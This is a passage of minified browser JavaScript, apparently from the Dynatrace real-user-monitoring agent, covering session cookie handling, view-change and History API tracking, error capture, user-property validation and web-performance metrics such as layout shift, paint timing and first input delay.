a,d=lk("dtCookie")||"";Mi(d)||(d="");if(d&&"null"!==d&&b!==d){var f=Id(d).sessionId||"";if("undefined"!==typeof b&&""!==b){if((d=b)&&f){var l=d,r=yc(l,"_sn_");if(-1!==r){var G=l.indexOf("_",r+4),ea=-1!==G?l.substring(r,G):l.substring(r);ea&&(l=l.replace(ea,"_sn_"+f))}d=l}var ya=d}else ya=d;b=ya}if(a=b)jj(a),Qk("dtCookie",a)}}catch(ob){}}})}function $f(a){rb("ACTION_ENTERED",function f(d){a.dtWF=f;d=d.detail;var l=d.i;a(l,d.a,d.r===l,d.e)})}function qf(a){rb("ACTION_LEFT",function f(d){a.dtWF=f;d=
d.detail;var l=d.i;a(l,d.s,d.r===l)})}function rf(a,b){um.push(a);0===b?Vc():Vc(2E3)}function ag(a,b,d,f,l){void 0===d&&(d=!1);void 0===f&&(f=kc());void 0===l&&(l=0);var r=b;if(1===l&&"_csprv_"===a){if(0!==Hf){r=ae;var G=r.timestamp,ea=r.group,ya=r.trigger;b.push(["tvn",r.name]);b.push(["tvt",String(G)]);b.push(["tvtrg",String(ya)]);b.push(["tvm",ce(r)]);ea&&b.push(["tvg",ea])}r=b}a={id:ke(),timestamp:f,kind:a,eb:r};switch(ma(d)){case 1:(d=Nd)?d.Rc(a):rf(a,l);break;case 2:(d=$b(d))?d.Rc(a):rf(a,l);
break;case 0:rf(a,l)}}function yf(a,b){return a?{oldView:a,newView:b}:{newView:b}}function Ch(a,b){void 0===b&&(b=Tc("vncm"));var d=document.createElement("a");d.href=a;a=d.hash;d=d.pathname;"/"!==d.charAt(0)&&(d="/"+d);0===b?b=d+a:2===b?(b=a||"/","#"===b.charAt(0)&&(b=b.replace("#","")),"/"!==b.charAt(0)&&(b="/"+b)):b=d;return b}function Pe(a,b){a.name=b.name;b.group&&(a.group=b.group);a.hydrated=!0}function Oh(a){var b=[],d=a.oldView,f=a.newView;if(d){var l=d.name,r=d.timestamp,G=d.group,ea=d.trigger;
l&&r&&(b.push(["svn",l]),b.push(["svt",String(r)]),b.push(["svtrg",String(ea)]),b.push(["svm",ce(d)]));G&&b.push(["svg",G])}d=f.name;G=f.group;ea=f.trigger;b.push(["tvn",d]);b.push(["tvtrg",String(ea)]);b.push(["tvm",ce(f)]);G&&b.push(["tvg",G]);b.length&&ag("_view_",b,!1,a.newView.timestamp||void 0,1)}function Fg(a){de?Oh(a.detail):Ya(a.detail)}function Vg(a){a.detail.i===Kb&&(a=Xg,a.length&&(Ac(a,Oh),Xg=[]),wb("ACTION_SENT",Vg))}function F(a,b){void 0===b&&(b=Tc("dvl"));var d;return function(){for(var f=
this,l=[],r=0;r<arguments.length;r++)l[r]=arguments[r];void 0!==d&&ti(d);d=Zc(function(){a.apply(f,l)},b)}}function P(){if(1===Hf){var a=ae,b=Ch(O());a=a.name;if(a+"/"===b)a=!1;else{var d=document.createElement("a"),f=document.createElement("a");d.href=a;f.href=b;a=d.pathname!==f.pathname||!document.getElementById(f.hash.substring(1))&&d.hash!==f.hash}a&&xa({name:b})}}function da(){var a,b=ae,d=oj;b.id!==d.id&&(pc((a={},a.kind="VIEW_STABLE",a.detail=yf(d,b),a)),oj=b)}function xa(a){var b,d=ae,f=La,
l=La,r=Tc("rtu"),G=La({},a);G.name=Ga(a.name,r,!0);a.group&&(G.group=Ga(a.group,r,!0));ae=a=f(l({},G),{timestamp:kc(),id:++xm,kind:1,trigger:Hf,hydrated:!1});0<Bl&&lj.push(a);pc((b={},b.kind="VIEW_CHANGE",b.detail=yf(d,ae),b));Qc()}function Qa(a){var b=History.prototype[a];b&&(History.prototype[a]=function(){for(var d=[],f=0;f<arguments.length;f++)d[f]=arguments[f];try{return b.apply(this,d)}finally{var l,r;pc((l={},l.kind="HISTORY_API_EVENT",l.detail=(r={},r.t=a,r.p=d,r),l))}})}function hb(a,b,d,
f){if(!b){b=ae;d=b.timestamp;var l=b.group,r=b.trigger;a.av(f,"tvn",encodeURIComponent(b.name));a.av(f,"tvt",String(d));a.av(f,"tvm",encodeURIComponent(ce(b)));a.av(f,"tvtrg",String(r));l&&a.av(f,"tvg",encodeURIComponent(l))}}function Gb(){Jg||(Jg=document.createElement("doc:rdy"));if(Jg.doScroll){var a=function(){try{Jg.doScroll("left"),Jg=void 0,Rf=kc(),M()}catch(b){Zc(a,0)}};a()}else document.addEventListener("DOMContentLoaded",function(){Rf=kc();M()},!1)}function Jb(){return pj}function Rb(){var a=
h,b=Hb(mb.performance);if(!b)return Math.round(a);var d=Ka(b)?6E4>=b.domContentLoadedEventStart:6E4>=Math.abs(b.domLoading-a);if(!Z(C())&&!d)return a;d=ef();var f=b.redirectStart,l=b.fetchStart;b=(Ka(b)?0:d)+6E4;b=f?b>f?d:f:l?b>l?d:l:d;isFinite(b)&&(a=b);return Math.round(a)}function Xb(){var a=ib(mb.performance,!0)||ef();return Math.round(a)}function Dc(a,b){var d;Ri--;if(Sf&&b){var f=(Sf.get(b)||1)-1;if(f)Sf.set(b,f);else Sf["delete"](b)}if(!Ri&&rh)try{pc((d={},d.kind="LOAD_END",d.detail=void 0,
d))}catch(l){}0>=Ri&&(rh&&(b=rh.id,a=a?Math.max(Xb(),a):Xb(),d=aa(mb.performance,"loadEventStart",!0)||ef(),d=d<Mb?0:Math.round(d),a&&d&&a>=d?(f=kc()-a,5E3<Math.abs(f)&&(a+=f),uc(b,a,d)):uc(b),rh=null),mk||xe());b=ic();b!==C()&&b.sole()}function Jc(a){if(Sf&&Sf.has(a))try{a.parent&&Zc(function(){Jc(a)},100)}catch(b){Dc(void 0,a)}}function td(a){Ri++;if(Sf&&a){var b=Sf.get(a)||0;Sf.set(a,b+1)}p.edge&&a&&Zc(function(){Jc(a)},100)}function xe(a,b){var d=$b(Kb);if(d){var f=0;mb.performance&&!a&&(f=b||
Xb());f||(f=kc());uc(d.id,f);pj=d.stop;M()}}function pe(){xe(1)}function Dd(){mk=!0}function Od(){var a=$b(Kb);a&&!rh&&(rh=ec({name:"_onload_",type:"_load_",start:kc(),pa:a.id}))}function wg(){if(!nk||0<Ri)nk=!0,M(),Dc()}function Uh(){M();if(!Ij){var a=ic();a!==C()&&a.iolm(mb);Od();Ij=!0;rb("PAGE_LEAVING",function d(){rh&&a!==C()&&a.sole(void 0,mb);wb("PAGE_LEAVING",d)});Zc(wg,0)}}function Vh(){"loaded"===document.readyState&&M();"complete"===document.readyState&&Uh()}function Zg(){M();Ij||("complete"===
document.readyState?ym?me(!1,!0):(ym=!0,Zc(Zg,3E3)):Zc(Zg,3E3))}function $g(){Si(!1);if(oh.length)for(var a=rn&&!hc("dsndb"),b=kc()-1E3,d=0,f=oh;d<f.length;d++){var l=f[d];try{l.time>=b&&(a?we(l.path,l.data):fd(hd({path:l.path,Ka:l.data}),!1))}catch(r){}}if(!Dl)try{yd(),El(),Gg.dT_.clB(),Sf=void 0,Dl=!0,rh=null}catch(r){}ok||(ok=!0,ye())}function sh(){Si(!0);ok||(ok=!0,ye())}function th(){var a,b=!1;try{return(a=Pb())&&a.target&&!Jj&&(b=Kj(a.target))&&(Jj=!0,Zc(function(){Jj=!1},1)),b}catch(d){return b}}
function Kj(a){var b;if(b=a){if(b=a.href)a:{b=a.href.replace(" ","").toLowerCase();var d=["mailto:"];if(11>p.ie)d.push("javascript:");else if(-1===yc("javascript:",b)){b=!1;break a}b:{for(var f=0;f<d.length;f++)if(-1<yc(b,d[f])){d=!0;break b}d=!1}d?b=!0:(b=b.split("://"),b=!("http"===b[0]||"https"===b[0]||"file"===b[0]))}b=b||Kj(a.parentNode)}return b||!1}function Lj(){th()||Si(!1,!0)}function zm(){Rk=se=!1;pk(!1);me(!1,!0,!0);kb=!1}function Ti(){if(p.sf&&mb.frames)for(var a=0;a<mb.frames.length;a++)try{var b=
mb.frames[a];b.dT_&&b.dT_.obc()}catch(d){}}function Si(a,b){var d;if(!se||kb){var f=kc();a||(se=!0,Zc(function(){Zc(zm,2E3)},1));pc((d={},d.kind="PAGE_LEAVING",d.detail=se,d));Sk&&Rk||cd(b,Nd,f);a=vg.qd(!1,!0,!0);Ti();a.beacon&&(me(!1,!0,!0,!1,a),Rk=!0);kb=!1}}function Tk(){return 0>=Ri}function ui(a,b){if(de||isNaN(a)||100>a||1E3<a)return!1;Kg={responseCode:a,message:b+""};return!0}function vi(){return Sk}function pk(a,b){Sk=a;ti(Wm);b&&(Wm=Zc(function(){Sk=!1},2E3))}function ah(){function a(b){Kb===
b.detail.i&&wb("ACTION_CLOSED",a)}mb.doNotCreateLoadAction||(Kb=ec({name:"_load_",type:"_load_",start:Mb}).id,M(),Vh());rb("ACTION_CLOSED",a)}function Uk(a,b,d,f){var l;void 0===d&&(d=!1);var r=(l={},l.msg="",l.file="",l.line=-1,l.column=-1,l.error=a,l.stackContainsWrapper=d,l);"number"===typeof b&&(r.parentActionId=b);f&&(r.source=f);qj(r)}function gf(a,b,d,f){a[b]&&Wh(d,""+a[b],f)}function Vk(){var a=p,b=a.ie,d=dm.documentMode;if(b){a=(a.trident||0)+4;if(b!==a)return a+"_as_"+b;if(d&&d!==b)return a+
"_as_"+d}return""}function qj(a){var b,d=a.error,f=a.msg;if(!(!f&&!d||wi+1>Tc("mepp"))){wi++;"string"===typeof d?f=a.msg||d:d=d||mb.event||{message:"",name:""};var l=La(La({},a),(b={},b.msg=f,b.error=d,b)),r;b=Pb();var G;b&&(G={name:b.Ob(),type:b.type});d=l.error;"string"===typeof d&&(d={});f=d.columnNumber||0;var ea=l.msg,ya=l.file,ob=l.column,zb=l.line,pb=l.source;b=(r={},r.message=d.message||d.name||d.yi||d.description||ea||d.errorMessage||d.Th||d.data||d.Yh||"Indeterminable error name",r.file=
d.fileName||d.filename||d.sourceURL||d.ai||d.file||ya||"",r.line=d.lineNumber||d.lineno||d.line||d.fi||zb||-1,r.column=(d.columnNumber?f+1:void 0)||d.ci||d.colno||d.column||ob||-1,r.stack=Xh(d)||Uc(),r.userInput=G,r.code=d.Ai||d.code||d.errorCode||d.status,r.timestamp=kc()-h,r.emulationMode=Vk(),r.debugInfo="",r.type=d.name||"Error",r.source=pb||"1",r);"Indeterminable error name"===b.message&&(r=Gh("msg",l.msg),r+=Gh("file",l.file),r+=Gh("line",l.line),r+=Gh("column",l.column),r+=Gh("error",l.error),
b.debugInfo=r);b.stack&&l.stackContainsWrapper&&(b.stack="<wrapper>"+b.stack);if(b.stack){if(1200<b.stack.length){l="";r=0;for(G=b.stack.split(/(\r\n|\n|\r)/gm);r<G.length&&!(d=G[r].trim(),f=d.length,0<f&&(l=250<f?l+(d.substring(0,150)+"[...]"+d.substring(f-100)+"\n"):l+(d+"\n")),1200<l.length);r++);b.stack=l}b.stack=b.stack.replace(RegExp("\\|","g"),"^p").replace(/(\r\n|\n|\r)/gm,"|")}500<b.message.length&&(b.message=b.message.substring(0,500));l=b.file;r=b.stack;G=Xc("csu");l&&r&&-1===yc(r,G)&&
-1!==yc(l,G)&&(b.incompleteStack=1200<r.length?"stringLength":"numLines");5011!==b.code&&(l=a.parentActionId,a=kc(),a=Ta({type:"_error_",name:Cb(b.message),start:a,Za:!0}),l=qc(a,l),a&&(gf(b,"type","_type_",a),b.file&&(r=b.file,0<=b.line&&(r+="|"+b.line),0<=b.column&&(r+="|"+b.column),Wh("_location_",r,a)),(r=b.incompleteStack)&&Wh("_istack_",r,a),gf(b,"stack","_stack_",a),gf(b,"code","_code_",a),gf(b,"timestamp","_ts_",a),gf(b,"emulationMode","_emu_",a),gf(b,"debugInfo","_debug_",a),b.userInput&&
Wh("_useraction_",b.userInput.type+"|"+b.userInput.name,a),gf(b,"source","_source_",a),l&&Vc()))}}function Uc(){try{throw Error("");}catch(l){var a=Xh(l);if(a&&4<a.split(/\r\n|\r|\n/).length)return"<generated>\n"+a}if(9>p.ie){a=[];var b=0;try{for(var d=arguments.callee.caller.caller;d&&10>a.length;){var f=Xm.exec(d.toString());a.push(f?f[1]||"[a]":"[a]");d=d.caller;b++}}catch(l){}if(3<b)return"<generated-ie>\n"+a.join("\n")}return""}function Xh(a){return a?a.stack||a.Xh||a.Ii||a.error&&a.error.stack||
"":""}function Wh(a,b,d){var f=kc();a=Ta({type:a,name:Cb(b),start:f,Za:!0});qc(a,d.id,!0)}function Gh(a,b){a=a+"|"+(typeof b+"|");if(null===b)a+="null|";else if("object"===typeof b)for(var d in b){if(Ra(b,d)&&"stack"!==d&&"error"!==d){var f=d;a+=d+"|";var l=typeof b[f];a+=l+"|";"object"!==l&&"function"!==l&&(a+=b[f]+"|")}}else a+=b+"|";return a}function Jf(a,b,d){var f=kc();a=Cb(a);b=Ta({type:b,name:a,start:f,stop:f,Za:!0,domNodes:-1});d=qc(b,d);ja(nj);d&&Vc();return d}function Mj(){Z(C())||(Jf("visit end",
"_endVisit_",-1)?Am(!1,"a"):kd())}function Fl(a,b){wi>Tc("mepp")||(wi++,Jf(a,"_error_",b))}function qk(a,b){Jf(a,"_warning_",b)}function Kf(a,b){Jf(a,"_log_",b)}function bh(a,b){var d=kc();a=Ta({type:"_rv_",name:Wa(a+"="+b),start:d,Za:!0});qc(a);Vc()}function nd(a,b,d){var f=kc();a=Ta({type:"_rs_",name:Wa(a+"="+b),start:f,Za:!0});qc(a,d);Vc()}function De(a,b){switch(a){case "_uaps_":if("string"!==typeof b){a="value [".concat(b,"] is not a valid short string, because it is of type ").concat(typeof b,
".");break}else a="value is not of type 'string'. Make sure to pass in a string.";(b=b.length)||(a="value is not a valid short string because it is empty.");var d=Tc("mpl");b>d&&(a="value is ".concat(b," characters long, which is longer than the maximum of ").concat(d," characters"));break;case "_uapl_":a="value [".concat(b,"] is not a valid java long.");break;case "_uapdt_":a="value [".concat(b,"] is not a valid date.");break;case "_uapdbl_":a="value [".concat(b,"] is not a valid java double.");
break;default:a="value [".concat(b,"] is not of a supported type. Has type of ").concat(typeof b,".")}return a}function rj(a,b){return{failedProperties:a.Ec(),sentProperties:a.Ed(),info:"Number of total failed properties: ".concat(b)}}function Ui(a){return!("number"!==typeof a||isNaN(a)||0!==a%1||0x7fffffffffffffff<a||-0x7fffffffffffffff>a)}function Lg(a){return!("number"!==typeof a||isNaN(a)||1.7976931348623157E308<a||-1.7976931348623157E308>a)}function Mg(a){return"string"===typeof a&&0!==gc(a).length&&
a.length<=Tc("mpl")}function Vi(a){return!!a&&"[object Date]"===Object.prototype.toString.call(a)}function Yh(a,b,d,f,l){b&&"object"===typeof b&&Hh({data:b,type:"_uapl_"},Ui,a);d&&"object"===typeof d&&Hh({data:d,type:"_uapdt_"},Vi,a);f&&"object"===typeof f&&Hh({data:f,type:"_uaps_"},Mg,a);l&&"object"===typeof l&&Hh({data:l,type:"_uapdbl_"},Lg,a)}function Hh(a,b,d){var f=a.data,l=Oc(),r;for(r in f)if(Ra(f,r)){var G=l,ea=f[r];null!==ea&&"object"===typeof ea&&Ra(ea,"value")&&(G=G&&!ea["public"],ea=ea.value);
b(ea)?(G?ea="dT_pv":"_uapdt_"===a.type&&Vi(ea)&&(ea=ea.getTime()),d.Od(a.type,r,ea)):d.Dd(a.type,r,ea)}}function xi(a){a=a?oc(a):[];if(0===a.length)return!1;for(var b=0;b<a.length;b++)if(0>mf(un,a[b]))return!1;return!0}function uh(a,b,d,f,l){a=new Qn(a);xi(b)?Yh(a,b.Xf,b.Bf,b.xg,b.Wf):Yh(a,b,d,f,l);return a.Lf()}function tc(a){vh[a]?vh[a]++:vh[a]=1}function Ih(){hc("ds")&&(vh={},Qe(function(a,b,d,f){if(hc("ds")){d="";for(l in vh)Ra(vh,l)&&(d+="".concat(d?"|":"").concat(l,"-").concat(vh[l]));var l=
d;!b&&de&&l&&(a.av(f,"ds",l,!1),vh={})}}))}function hf(a,b,d){(a=id.Of(a))&&Ob(d,b+"="+a)}function Zh(a,b,d,f){rd&&(b=rd.Nf(),d=[],hf(rd.Gd,"spL",d),hf(rd.Bd,"spD",d),hf(rd.Nd,"spSS",d),hf(rd.Fd,"spDb",d),b&&a.av(f,"fsp",encodeURIComponent(b.join(",")),!0),d.length&&a.av(f,"sp",encodeURIComponent(d.join(";")),!0),rd=null)}function Wk(a,b,d,f){rd=xi(a)?new id(a.Xf,a.Bf,a.xg,a.Wf):new id(a,b,d,f);a=rj(rd,id.qb);b=rd.Ec();if(b.length&&Qh())for(d=0;d<b.length;d++)f=b[d],he="Property key ["+f.key+"] was not accepted because: "+
f.reason,mb.console.log(he);(rd.Qf()||b.length)&&Vc();return a}function Gl(){return he?{severity:"Info",text:he+"(Note: only last errorMessage gets reported!)",type:"wsp"}:null}function Nj(a,b){if(Hf!==b)return-2;if(3===b&&!de){var d;Pe(ae,a);Pe(oj,a);a=yf(null===(d=Sh)||void 0===d?void 0:d.na,ae);Ya(a);return 2}d=ae;if(1===a.id&&1===d.id&&1===Xg.length)return Pe(Xg[0].newView,a),Pe(ae,a),Pe(oj,a),2;if(d.name===a.name)return-1;xa(a);return 1}function wh(a){var b=Number(a);return a&&!isNaN(b)&&11359836E5<
b&&41338908E5>b?b:kc()}function Fc(a){return"function"===typeof a}function Oj(a,b){for(var d in b)if(b[d]===a)return!0;return!1}function vc(a,b){return typeof a===b}function Me(a,b){return vc(a,b)||"undefined"===typeof a||null===a}function fg(a){var b;null===(b=mb.console)||void 0===b?void 0:b.log(a)}function Tf(a,b,d){fg("".concat(a,' "').concat(b,'" is deprecated! ').concat(d))}function Rc(){fg("Wrong argument types in method. Please check the documentation to fix that")}function wc(){fg("Too many arguments. Please check the documentation to fix that")}
function Xk(){return vg.zc()}function rk(a,b,d,f,l){void 0===b&&(b=!1);void 0===d&&(d=!1);void 0===f&&(f=!1);ch(a,(null===l||void 0===l?void 0:l.contentType)||"");return me(!1,!0,b,d,{referrer:O(),beacon:a},f,l)}function Wi(a){Bm.push(a)}function ch(a,b){Ac(Bm,function(d){d(a,b)})}function $h(a,b){sk&&(sk&&!Yk&&(Pj.observe(document,sj),Yk=!0),gg[a]||(gg[a]=[],tk=Object.keys(gg),em[a]=b))}function Zk(a){sk&&(gg[a]&&(delete gg[a],delete em[a],Cm[a]=uk),tk=Object.keys(gg),0===tk.length&&Pj&&Yk&&(Pj.disconnect(),
Yk=!1))}function xg(a,b){if(!$k)return null;Xi[a]||(Xi[a]=new $k(b));return Xi[a]}function Qj(a){sk&&Xi[a]&&(Xi[a].disconnect(),delete Xi[a])}function al(a){return gg[a]?gg[a]:[]}function Jh(a,b){gg[a]=b}function Ng(a){return a&&Cm[a]||uk}function yi(){sj={childList:!0,subtree:!0};$k&&(Pj=new $k(function(a){for(var b=kc(),d=[],f=0;f<a.length;f++){var l=a[f];"childList"===l.type&&d.push.apply(d,l.addedNodes)}if(d.length)for(uk=b,a={time:b,nodes:d},b=0,d=tk;b<d.length;b++)f=d[b],l=em[f],"function"===
typeof l&&l(f,a),gg[f].push(a)}))}function Rj(a,b){var d=Nd;return d&&d.ib<Tc("tal")&&d.Ca+a<=Tc("tt")?(d=ne(!1),a={name:b?"".concat("setImmediate(...)"):"".concat("setTimeout(..., ").concat(a,")"),type:"_t_",start:kc(),Rd:a,pa:d||!0},ec(a).id):0}function Sj(a){if(a=$b(a))a.Wb(),Zc(function(){Cg();of(ed(),!0)},0)}function Og(a){var b=$b(a);b&&(b.af(),Dj++,Ob(nh,a),of(b))}function Pg(a){var b=$b(a);b&&(Dj--,Zc(function(){ze(a);b.Qe();of(ed(),!0)},0))}function fm(a,b){return Fd(970,a||"XHR Error",b)}
function Hl(a){return Fd(971,"XHR Canceled",a)}function Il(a){return Fd(972,"XHR Timeout",a)}function bl(a,b){return Fd(973,a||"Parser Error",b)}function tj(a,b){return Fd(974,a||"Setup Error",b)}function Tj(a,b){return Fd(979,a?a:"Unknown Error",b)}function zi(a,b){var d=0===a.time?0:b-a.time;a.total+=d;a.time=b;return a.Hd=d}function vk(a,b){void 0===b&&(b=kc());var d=cl[a];void 0===d&&(d=cl[a]={time:b,total:0,Hd:0});return zi(d,b)}function dl(a,b){void 0===b&&(b=kc());a=cl[a];if(void 0===a)return 0;
zi(a,b);a.time=0;return a.Hd}function gm(a){a=cl[a];return void 0===a?0:a.total}function el(a,b,d){if(!a||!b)return-1;if(a.findIndex)return a.findIndex(b,d);for(var f=0;f<a.length;f++)if(b.call(d,a[f],f,a))return f;return-1}function wk(a,b){if(ta(Array.prototype.map))return Array.prototype.map.call(a,b);for(var d=[],f=0;f<a.length;f++)Ob(d,b(a[f],f,a));return d}function uj(a){a=a&&a.length;return"number"===typeof a&&-1<a}function pg(a,b,d){return"function"===typeof b?(b=void 0===d?b:Ma(b,d),wk(a,
b)):a}function Kh(a,b,d){function f(){}if("function"===typeof Array.from)return b?Array.from(a,b,d):Array.from(a);if(Array.isArray(a))return pg(a,b,d);if(uj(a))return pg([].slice.call(a),b,d);var l=mb.Map||f,r=mb.Symbol||f,G=[];ta(mb.Set||f)&&Ue(a,19)&&a.forEach(function(ea){G.push(ea)});ta(l)&&Ue(a,20)&&a.forEach(function(ea,ya){G.push([ya,ea])});if(ta(r)&&mb.Symbol&&"function"===typeof a[Symbol.iterator]&&0===G.length)for(a=a[Symbol.iterator](),l=a.next();!l.done;)G.push(l.value),l=a.next();return pg(G,
b,d)}function ai(a,b,d){if("function"===typeof a.some)return a.some(b,d);a=Object(a);for(var f=a.length>>>0,l=0;l<f;l++)if(l in a&&b.call(d,a[l],l,a))return!0;return!1}function fl(a){var b=a.getAttribute("class"),d=100-a.tagName.length;if(!b)return"";b=b.trim().replace(/ +/g,".");if(b.length<=d)return b;a=ad(b.split("."),function(f){return f.length<d});for(b=a.join(".");b.length>d&&a.length;)a.pop(),b=a.join(".");return b}function qg(a,b){if(a.id&&100>=a.id.length)return b.unshift("#".concat(a.id)),
!0;var d=a.nodeName.toLowerCase();b.unshift(d);var f=fl(a);if(f&&(d+=".".concat(f),b[0]=d,vj(b)))return!0;f=a;for(var l=1;f;)f=f.previousElementSibling,(null===f||void 0===f?void 0:f.nodeName)===a.nodeName&&l++;d+=":nth-of-type(".concat(l,")");b[0]=d;if(vj(b))return!0;f=a.previousElementSibling;for(l=1;f;)f=f.previousElementSibling,++l;d=d.replace(/:nth-of-type\(\d+\)/,1<l?":nth-child(".concat(l,")"):":first-child");b[0]=d;return vj(b)}function vj(a){return 1===document.querySelectorAll(a.join(">")||
"").length}function Uj(a){if(!a||!Ue(a,8)||!document.querySelectorAll)return"";try{for(var b=a,d=[];b&&100>=d.join(">").length&&!qg(b,d);)b=b.parentElement;var f=d.join(">");if(100<f.length){var l=a.getAttribute("class"),r=a.tagName.toLowerCase();if(l)var G="..."+Ga("".concat(r,".").concat(l),100-r.length-3,!1,"");else{var ea=a.id;G=ea?"..."+Ga("#".concat(ea),97,!1,""):""}var ya=G||Ga(f,100,!0)}else ya=f;return ya}catch(ob){}return""}function Ai(a,b){try{if(3!==Hf&&("__vue__"===b||"__vue_app__"===
b)&&hc("usrvd")&&2!==Hf){var d,f,l,r;var G=(null===(l=null===(f=null===(d=a.__vue_app__)||void 0===d?void 0:d.config)||void 0===f?void 0:f.globalProperties)||void 0===l?void 0:l.$router)||(null===(r=a.__vue__)||void 0===r?void 0:r.$router);if(G){var ea="function"===typeof G.afterEach;var ya=G.currentRoute&&ea?!0:!1}else ya=!1;if(ya){var ob,zb;if(ob=(null===(zb=G.matcher)||void 0===zb?void 0:zb.match)||G.resolve){var pb,Tb,Hc,zc=null!==(Hc=null!==(pb=G.options.base)&&void 0!==pb?pb:null===(Tb=G.options.history)||
void 0===Tb?void 0:Tb.base)&&void 0!==Hc?Hc:"",Ad=G.options.mode;zc||"hash"!==Ad||(zc="#");var Zd=zc;a=Xg;for(b=0;b<a.length;b++){var Pc=a[b];Pc.oldView&&Pe(Pc.oldView,rg(Pc.oldView,ob,Zd));Pe(Pc.newView,rg(Pc.newView,ob,Zd))}Pc=ae;a=oj;Pe(Pc,rg(Pc,ob,Zd));Pe(a,rg(a,ob,Zd))}G.afterEach(gl);B(2)}}}catch(Ke){B(1)}}function gl(a){2===Hf&&Nj(xk(a),2)}function xk(a){var b=a.matched;a=a.path;return b.length?{group:b[b.length-1].path,name:a}:{name:a}}function rg(a,b,d){var f=yc(a.name,d),l=a.name;l===d?
l="/":-1!==f&&(l=l.substring(f+d.length));a=La(La({},a),{name:l});return La(La({},a),xk(b(a.name)))}function Af(a){void 0===Jl&&(Jl=Tc("prfSmpl")>Math.floor(1E4*Math.random()));Jl&&(0>hm&&(hm=Tc("msl"),Gg.dT_.si(function(){xh()},3E4),If(mb,"beforeunload",function(){xh(!0)})),Ym.push(a))}function yk(a){var b="";Ac(a.d,function(d){b+="".concat(d[0]).concat("=").concat(d[1]).concat("|")});return"".concat(a.i).concat("|").concat(a.t).concat("|").concat(b.slice(0,-1))}function dh(a,b){var d="";Ac(oc(b[1]),
function(f){d+="".concat(f).concat("=").concat(b[1][f]).concat("|")});return"".concat(a).concat("|").concat(b[0]).concat("|").concat(d.slice(0,-1))}function xh(a){void 0===a&&(a=!1);Ac(Ym.splice(0),function(b){if(0===b.t){var d=!1;for(var f=b.d,l=f.length;!d&&l;)d=0===f[--l][1]}else d=!1;d||(b.a?Kl(b):hl.push(yk(b)))});Bf(a)}function Kl(a){var b=a.i,d=Yi[b];d?(d[0]+=a.t,Ac(a.d,function(f){d[1][f[0]]=void 0!==d[1][f[0]]?d[1][f[0]]+f[1]:f[1]})):(Yi[b]=[a.t,{}],Ac(a.d,function(f){Yi[b][1][f[0]]=f[1]}))}
function Bf(a){void 0===a&&(a=!1);Ac(oc(Yi),function(d){hl.push(dh(d,Yi[d]))});var b="";Ac(hl,function(d,f,l){if(b.length+1+d.length>=hm){bi(b,a);b="";if(f===l.length-1)return bi("".concat(il).concat(d),a);b="".concat(il).concat(d)}else b?b=b+","+d:b="".concat(il).concat(d);b.length&&f===l.length-1&&bi(b,a)});hl=[];Yi={}}function bi(a,b){var d;void 0===b&&(b=!1);var f=Xk();vg.ar(f,a);rk(f,b,!1,!1,(d={},d.contentType="perf",d))}function Vj(a){if(Object.values)return Object.values(a);var b=[];if(a===
Object(a))for(var d in a)Ra(a,d)&&b.push(a[d]);return b}function ci(){di=Qg.connection;hc("eni")&&di&&Qe(function(a,b,d,f){!b&&de&&di&&(b="".concat(di.effectiveType||"-","|").concat(di.downlink||-1),di.type&&(b="".concat(b,"|").concat(di.type)),a.av(f,"ni",b,!1))})}function sg(a){return"longtask"===(null===a||void 0===a?void 0:a.entryType)&&50<a.duration}function Bi(a){Gg.dT_.apush(zk,{startTime:a.startTime,duration:a.duration})}function wj(){try{Wj=new PerformanceObserver(function(a){Ac(ad(a.getEntries(),
sg),Bi)}),Wj.observe({type:"longtask",buffered:!0})}catch(a){}}function Zi(){ei=yg=0;zg=fi=-5E3;jl=[];if(hc("cls")&&jf.cls)try{(new PerformanceObserver(function(a){a=a.getEntries();for(var b=0;b<a.length;b++){var d=a[b];if("layout-shift"===(null===d||void 0===d?void 0:d.entryType)&&!d.hadRecentInput){var f=d.startTime;if(0===gi){if(5E3<f-fi||1E3<f-zg)fi=f,ei=0;zg=f;ei+=d.value;yg=Math.max(yg,ei)}else 1===gi&&jl.push({startTime:f,xf:d.value})}}})).observe({type:"layout-shift",buffered:!0})}catch(a){}}
function Ak(){eh=new mb.PerformanceObserver(function(a){a=a.getEntries();for(var b=0;b<a.length;b++){var d=a[b],f=d.name;d=Math.round(d.startTime);"first-paint"===f&&(kl=d);"first-contentful-paint"===f&&(Bk=d)}});try{eh.observe({type:"paint",buffered:!0})}catch(a){eh.observe({entryTypes:["paint"]})}}function Xj(){im=new mb.PerformanceObserver(function(a){a=a.getEntries();a=a[a.length-1];if(a.size>Yj)switch(Yj=a.size,gi){case 0:Zm=$i(a);break;case 1:ll.push($i(a));break;case 2:pj-Mb>a.startTime&&(Yj=
a.size,a=$i(a),ag("_wv_",[["AAI",String(Kb)],["lcpE",a.Bc||"-"],["lcpSel",a.Nc||"-"],["lcpS",String(a.size)],["lcpT",String(a.Aa)],["lcpU",a.url||"-"],["lcpLT",String(a.loadTime)]],!1,void 0,1))}});try{im.observe({type:"largest-contentful-paint",buffered:!0})}catch(a){im.observe({entryTypes:["largest-contentful-paint"]})}}function $i(a){var b,d=a.startTime;d&&(d=Sa(d));return{Aa:Math.round(d),loadTime:Math.round(a.loadTime),size:a.size,Nc:Uj(a.element)||"-",Bc:(null===(b=a.element)||void 0===b?void 0:
b.tagName)||"-",url:a.url||"-"}}function hi(a){var b=0;for(a=a.getEntries();b<a.length;b++){var d=a[b];"first-input"===d.entryType&&d.processingStart&&d.startTime&&(Lh=Math.round(d.startTime),Ci=Math.round(d.processingStart-d.startTime))}Zj()}function Zj(){2===gi&&kc()<pj+2E4&&ag("_wv_",[["AAI",String(Kb)],["fIS",String(Lh)],["fID",String(Ci)]],!1,void 0,1)}function ml(){var a,b=null===(a=mb.PerformanceObserver)||void 0===a?void 0:a.supportedEntryTypes;return!!b&&-1!==mf(b,"first-input")}function Ck(){if(ml())try{(new PerformanceObserver(hi)).observe({type:"first-input",
